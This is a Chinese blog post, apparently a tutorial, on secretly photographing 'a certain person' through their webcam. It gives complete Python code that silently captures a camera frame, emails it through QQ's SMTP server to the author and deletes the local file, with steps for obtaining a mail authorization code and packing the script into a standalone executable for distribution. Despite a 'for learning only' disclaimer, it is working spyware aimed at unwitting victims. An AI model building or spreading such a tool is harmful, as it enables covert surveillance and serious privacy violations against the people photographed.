引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片
仅用来学习,希望给你们有提供到学习上的作用。
1.安装库
需要安装python3.5以上版本,在官网下载即可。然后安装库opencv-python,安装方式为打开终端输入命令行。
2.更改收件人和发件人为自己邮箱,更改授权码
获取授权码的方法:
- 点击设置
- 点击账户
- 开启pop3/smtp服务
- 验证密保
- 获取到16位授权码
第一步:
第二步:
第三步:
第四、五步:
3.编译成可执行文件
打包方法:
- 先安装
pyinstaller
,在终端中输入pip install pyinstaller
。 - 找路径,用cd法找路径比较麻烦,可以直接在路径框里面输入
cmd
进入终端即可,进入了就是目标路径。
打包,输入命令行
pyinstaller --console --onefile 7.py //这里打包的是一个叫7.py的文件
在dist
文件夹里面即可找到可执行文件。
4.源码与注释
import os # 删除图片文件
import cv2 # 调用摄像头拍摄照片
from smtplib import SMTP_SSL # SSL加密的 传输协议
from email.mime.text import MIMEText # 构建邮件文本
from email.mime.multipart import MIMEMultipart # 构建邮件体
from email.header import Header # 发送内容# 调用摄像头拍摄照片
def get_photo():cap = cv2.VideoCapture(0) # 开启摄像头f, frame = cap.read() # 将摄像头中的一帧图片数据保存cv2.imwrite('image.jpg', frame) # 将图片保存为本地文件cap.release() # 关闭摄像头# 把图片文件发送到我的邮箱
def send_message():# 选择QQ邮箱发送照片host_server = 'smtp.qq.com' # QQ邮箱smtp服务器pwd = '****************' # 授权码from_qq_mail = 'QQ@qq.com' # 发件人to_qq_mail = 'QQ@qq.com' # 收件人msg = MIMEMultipart() # 创建一封带附件的邮件msg['Subject'] = Header('摄像头照片', 'UTF-8') # 消息主题msg['From'] = from_qq_mail # 发件人msg['To'] = Header("YH", 'UTF-8') # 收件人msg.attach(MIMEText("照片", 'html', 'UTF-8')) # 添加邮件文本信息# 加载附件到邮箱中 SSL 方式 加密image = MIMEText(open('image.jpg', 'rb').read(), 'base64', 'utf-8')image["Content-Type"] = 'image/jpeg' # 附件格式为图片的加密数据msg.attach(image) # 附件添加# 开始发送邮件smtp = SMTP_SSL(host_server) # 链接服务器smtp .login(from_qq_mail, pwd) # 登录邮箱smtp.sendmail(from_qq_mail, to_qq_mail, msg.as_string()) # 发送邮箱smtp.quit() # 退出if __name__ == '__main__':get_photo() # 开启摄像头获取照片send_message() # 发送照片os.remove('image.jpg') # 删除本地照片
5.效果如下
最后实验一下,会得到一个bin后缀的附件,把他改成jpg即可查看。
感谢看到这里的你,分享到这里结束了,更多Python精彩内容可以关注我看我主页,三连~
引人遐想,用 Python 获取你想要的 “某个人” 摄像头照片相关推荐
- 哪些人适合参加Python培训班?
哪些人适合参加Python培训班?确实,不是所有人都适合参加Python培训班的,有一定基础的同学会选择自学,零基础的同学比较适合参加Python培训班,来看看下面的具体介绍. 哪些人适合参加Pyth ...
- 为什么炒股时间越长的人,越是爱劝想要炒股的人别炒股?
为什么炒股时间越长的人,越是爱劝想要炒股的人别炒股? 1. 想要炒股的人他们的入市的时间大多就是错误的.一般人都是股市非常火热的时侯才想炒股,而此时一般离头部的暴跌已不远.所以我当然会反对他们炒股票, ...
- 【Python获取相亲网站数据】马上都元宵节了,还在相亲,看看某相亲网站有没有那个有缘人。
前言 马上都元宵节了,还在相亲,看看某相亲网站有没有那个有缘人.今天我们来爬取某相亲网站获取我们想要的数据,比如说,对方的姓名,年龄,身高,体重等等.今天我们主要使用CSS选择的方法来匹配我们想要的数 ...
- python不会编程的人怎么学化妆_奉劝那些想学编程的人
学编程,从W3Cschool开始! 作为一家在线编程学习平台,W3Cschool已经有10年的历史,在期间,我们见证了无数编程爱好者的学习经历,有成功转行成功的,也有实现了自己的编程梦想的,但更多的人 ...
- b站看那个的python_用Python获取B站播放历史记录 !男友居然天天背着我看这些!...
今天Geek专栏为大家带来 乐聚机器人王松博士的 "用Python获取B站播放历史记录" 最近 B 站出了一个年度报告,统计用户一年当中在 B 站上观看视频的总时长和总个数.过去一 ...
- python对财务人员的帮助-还不熟练VBA的财务人,让Python带你弯道超车!
原标题:还不熟练VBA的财务人,让Python带你弯道超车! 相信做财务的同学肯定对VBA这门编程语言并不感到陌生. VBA可以帮助我们快速的处理大量的数据,一些复杂的逻辑或需要重复操作的处理也可以用 ...
- 精通python能干嘛-很多人说精通Python?对于精通我们存在哪些误区
如何才算精通Python?在Python学习中,我们都有哪些误区?相信你看完这篇文章都会得到解答.心灵也会得到释放! 如果不能,我希望这篇回答能让你意识到自己Python知识还存在哪些不足,在之后的学 ...
- 获取frame_用Python获取可能是全网最全的杰尼龟表情包(第一弹)
杰尼龟系列表情包在广大网友之间传递快乐,红极一时.我想是杰尼龟可爱的外表以及憨憨的形态,圆圆的脸蛋大大的眼睛,且其经常在剧中摆出各式夸张表情,因而被广大网友制成各式各样的表情包,并且深受沙雕网友的喜爱 ...
- 超全!Python获取某一日期是“星期几”的6种方法!
在Python进行数据分析时,按照日期进行分组汇总也是被需要的,比如会找到销量的周期性规律. 那么在用Python进行数据统计之前,就需要额外增加一步:从指定的日期当中获取星期几.比如2022年2月2 ...
最新文章
- Python 的property的实现 .
- 关于Advertising Campaign
- mysql同步row模式_ROW模式的SQL无法正常同步的问题总结
- 安装模块时提示Collecting package metadata (repodata.json): failed
- 解决子线程操作UI的方法
- 云计算的背后到底是什么?
- idea首次创建新模块的详细操作
- 如何进行需求优先级管理?
- javaShop JAVA版多用户B2B2C商城源码(PC +H5+小程序+APP)
- wordpress付费阅读_2020年27个最佳WordPress杂志主题[免费+付费]
- 甲方怎样加强工程项目管理?
- AcWing 2019. 拖拉机
- PASCAL VOC数据集-可以了解一下
- 鸿蒙OS到底是不是Android套皮?(少bb,看源码!)
- 使用封装的API接口,在控制台输出undefined
- 【CentOS 7 Web服务器配置】
- 【散文】 岁月留痕遇好友
- 由爆火的“羊了个羊”浅谈小游戏开发
- h5 神策埋点_使用神策数据设置埋点
- 【STM8S】STM8S之内外部16M晶振
热门文章
- 让炼丹更玄学!苏大博士生用「天干地支」生成随机种子,项目已开源
- 又一位!26岁当上985博导,读博期间也曾两次想要退学......
- 16岁日本神童打造日版「健康码」,追踪用户行动数据抗击疫情
- 凌晨三点,各类程序员都在干吗?
- Java开发中的23种设计模式详解(转)
- Gerapy分布式管理框架
- 创业基础(第四章: 创业风险及识别与管理) 来自高校:全国大学生创新创业实践联盟 分类:创新创业 学习规则:按序学习
- 用OpenCV实现页面扭曲矫正
- OpenCV中的透视变换介绍
- intellij idea中去除@Autowired注入对象的红色波浪线提示